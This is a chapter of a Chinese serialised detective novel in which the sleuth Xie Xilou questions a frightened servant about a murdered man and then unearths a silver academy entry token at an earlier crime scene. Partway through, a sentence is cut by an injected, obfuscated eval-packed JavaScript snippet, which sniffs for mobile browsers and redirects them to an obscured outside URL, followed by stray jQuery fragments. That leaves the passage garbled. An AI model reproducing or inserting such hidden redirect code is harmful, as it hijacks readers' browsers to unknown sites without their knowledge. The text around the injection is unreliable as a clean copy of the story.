76. 少年志9

作品:《华京迷案录(探案)

    谢汐楼还未想清楚前因后果,门外传来脚步声,是隋管家带着阿福走来。


    阿福第一次见王爷,手足无措,扑通一声跪在地上,给陆回磕了三个头。谢汐楼慌忙向一旁跳开半步,生怕沾到一星半点,折了她本就不多的寿命。


    “起来吧。”陆回道,“你是何时发现尸体的?”


    “今天早晨,我起窗后,看到隔壁房门没关严……还以为是白杨哥突然回来了,于是出声叫他,没听到回应,走上前来想看看是什么情况,一抬眼就看到半空中的尸体,可吓死了……”


    谢汐楼拧眉:“昨晚你可听到什么声音?或是发生什么奇怪的事?”


    阿福哆哆嗦嗦回忆:“没什么声音啊……最近庄子里的活儿多,我昨日在地里忙了一整天,傍晚才返回。回来的时候,这屋子紧紧锁着,没任何异常。后来我回了自己屋,倒头就睡,一觉睡到大天亮。”他挠了挠头,有些不确定,“或许是昨日太累了,我睡得很沉,所以才没听到。”


    “你上次见谢白杨是什么时候?”


    “中秋节前后,当时庄子里给下人发赏钱,他曾回来领过,之后过了没两日,便离开了,约莫又去赌坊了吧。”


    阿福瑟瑟发抖,眼神左飘右飘,就是不敢落在不远处的尸体上,谢汐楼看他着实可怜,加快了询问的速度:“你可知谢白杨是否有仇家?”


    “我和白杨哥算不得熟,我们虽住在一个院子中,但一年中也见不到几次。更何况白杨哥是陪着三郎长大的人,如何会和庄子里的普通杂役交好?他就算有什么仇家,也不可能说给我听。”


    谢汐楼眯起眼睛:“你的意思是,谢白杨与宅子中的所有人都不熟?那王友才呢?”


    “他与王友才原本倒是很熟络,但几个月前,王友才和白杨哥的妹子红莲传出些不清不楚的闲话后,二人逐渐疏远。如今整个庄子里,白杨哥应该也只和隋管家还有些往来。”


    “谢白杨和隋管家很熟?”


    “应该是吧,我曾撞见过谢白杨、王友才和隋管家一同喝酒,不过那都是大半年前的事儿了。”


    谢汐楼心思一动,继续问:“隋管家这个人怎么样?”


    阿福眼睛一转,转身向身后瞥了一眼,没瞧见隋管家的影子,才松了口气。他上前半步,压低声音:“隋管家在庄子里人缘极好,虽不是人人都看得惯,但谁都愿意给他三分薄面,不然这一个庄子两个管事的,早就闹翻天了。”


    谢汐楼心领神会:“你看不惯他?”


    阿福撇撇嘴:“倒不是看不惯他,只是听过一些传闻,不知真假。”


    “说来听听。”谢汐楼见他犹自不放心,又补了一句,“你放心,若与此事无关,我就当听个乐子,若与此案有关,我也不会告诉别人是你说的。”


    谢汐楼侧头向纸镇招招手,纸镇愣了一下,不情不愿掏出一小块碎银子。她抢过碎银子,塞到阿福手中:“拿去买酒喝。”


    阿福收下银子,喜上眉梢,仿佛忘记了不远处有具尸体的事,继续往下说:“隋管家不是谢家的家生子,他在进入谢家帮工时已经娶妻,是个比他大五岁的女人。后来有一日,有人在庄子附近遇到一个无家可归,狼狈不堪的老妪,听说很像是他的娘子。”阿福叹了口气,悠悠道,“奴虽没攒够钱,娶不到媳妇儿,但也知道,娶了娘子,就要对她好,哪有郎君吃香的喝辣的,让娘子露宿街头的道理。虽不知这事儿是真是假,但那之后,奴见着隋管家,总是感觉怪怪的。”


    谢汐楼看了眼陆回,陆回瞥了眼堂木,堂木默默点头,准备稍后就去查此事。


    堂木不知道这隋管家的事为何让殿下与谢姑娘这般感兴趣,但堂木听话,堂木照做,堂木不问那么多为什么。


    “隋管家经常出宅子吗?”谢汐楼继续打探。


    阿福眨眨眼:“隋管家要管着整个庄子,每日都不得闲,要不是今日之事,奴已经很久未见到他了。”


    谢汐楼没有更多的问题,便让阿福离开,隋管家在门口探头探脑,似乎有什么事。


    谢汐楼没让他进来,而是亲自走到门口:“隋管家还有何事?”


    隋管家笑容讨好:“是这样的,奴想知道,这院子何时能使用?毕竟院子中还住了几个仆役,若是需要封起来不能住人,奴便给他们安排新的住处。”


    谢汐楼挑眉:“隋管家管理这么大的庄子,竟还会操心这等小事?”


    隋管家摆摆手:“二娘那里的话?都是份内之劳。”


    或许是阿福的话太过情真意切,谢汐楼此刻脑海中全是那个流落街头的娘子。她并不愿同这人多话,淡淡道:“这事我做不了主,你且在此处等等殿下,由他来决断。”


    说完,她不再逗留,回身同陆回打了个招呼,向另外一个方向走去。


    不过一日的功夫,庄子里的树叶又落了不少,谢汐楼穿过错落庭院,踏过层层叠叠的落叶,踩着秋意前行。


    远处山下的稻田已经成熟,金灿灿的,边缘处有人忙着收割,忙忙碌碌不曾抬头,麻雀在田间跳跃,被人驱赶时发出几声清脆的鸣叫,打破这秋日的寂静。


    万物都在有条不紊的运转,三个人的死亡并没有冲淡这丰收季节的喜悦。


    谢汐楼绕过大半个庭院,去到她的院子。


    自前日出了命案后,这里便着人看守,昨日她和陆回离开后,看守的人随之撤走,大门便落了锁。谢汐楼本想越过墙壁溜进去,余光扫过,赫然发现院门的锁不知何时不翼而飞。


    谢汐楼靠近,一眼便看到了木门上锐器的划痕。


    看来昨日之后,这里来过其他人。


    她将门推开,恍惚间回到了发现尸体的那日。


    那日也是这般,院子中一片寂静,东厢房的门敞着条缝隙,她推开门便看到了王友才的尸体。


    谢汐楼脸色平静,不知第多少次重复那日的场景。


    她走在房间门口


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15048278|159869||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    两步的位置,没敢贸然入内,生怕再冲出一群人将她堵在屋子里。她在屋檐下缓缓蹲下身子,想象着王友才此刻就躺在她的面前,她将耳朵凑近,仿佛听到了那摸不到头绪的“情、人、应、排、康、高”。


    面前虚幻的王友才似乎发现他满是鲜血的嘴念不清楚这几个字,对面的谢汐楼无法理解,于是将手指向了她。


    她和这几个字有什么联系?


    谢汐楼蹲得双脚发麻,索性转了个身子,一屁股坐在地上,一抬眼便看到门口的陆回,不知站了多久。


    “你怎么来了?那边的事处理完了?”


    “若事事都要我亲自安排,那养他们何用?”陆回看着她的动作,微微皱眉,他走到室内取了个靠枕,递给她,“垫着,地上凉。”


    谢汐楼动作迟疑:“就这么拿凶案现场的东西,合适吗?”


    “现场早就被你砸光了,现在想起不能随便动,是不是有些晚了?”


    谢汐楼想想也是,高高兴兴挪到软乎乎的靠枕上坐着,支颐盯着院中,继续想王友才临死的动作,不再管身边的陆回。


    院子里空空如也,墙角种着几株山茶,郁郁葱葱,叶片间零星挂着几个嫩绿的花苞,谢汐楼盯着盯着,突然站起身,快步向那墙角走去,捡起一块石头,翻着地上的土。


    那日王友才指的或许不是她,而是她身后的墙角,只不过她恰好站在了这个方向,挡住了他的手。


    谢汐楼翻了一圈,在贴着墙的位置,翻出一线银白。她将石块丢掉,用手将四周泥土挖开,将这银白捧到手心,小心吹落上面的泥土,露出全貌。


    是一块银制的令牌。


    令牌手掌大小,花纹精美,正面是麒麟图腾,角落雕刻着一个陌生的名字,这名字谢汐楼未听过,大概不是谢府中人。


    谢汐楼捏着这块令牌,心情颇为复杂,她抬起眼,看着面前的陆回。


    这令牌她认识,陆回也认识,是青岩书院的准入令牌。


    青岩书院建成过百年,每年七月八月,书院大开山门,广迎天下学子。书院内除文科武科外,另设机关科、观星科等,学子自行选择想要学习的方向,只需要通过该科目的准入考试,便可拿到刻有名字的准入令牌,入院读书。


    入院考试后,拿到令牌的学子即刻入院,没有离开的机会……这令牌是如何在此刻出现在梧州的?


    陆回的眼神锁在令牌上,眸色沉沉,像在酝酿一场风暴。他将令牌从谢汐楼手中抽走,看了几眼后,收入袖袋中:“此事莫要声张。”


    谢汐楼仔细打量陆回,见他神情阴沉,却并没惊讶的情绪,像是早就知道有这么一回事似的。


    陆回没注意她的这些小心思:“此事你怎么看?”


    谢汐楼站起身,拍了拍手上的泥土,眉宇舒缓:“这一环基本想通了,接下来需要去谢宅,弄清楚另外几个谜团。若是顺利的话,用不了多久,一切便都能水落石出了。”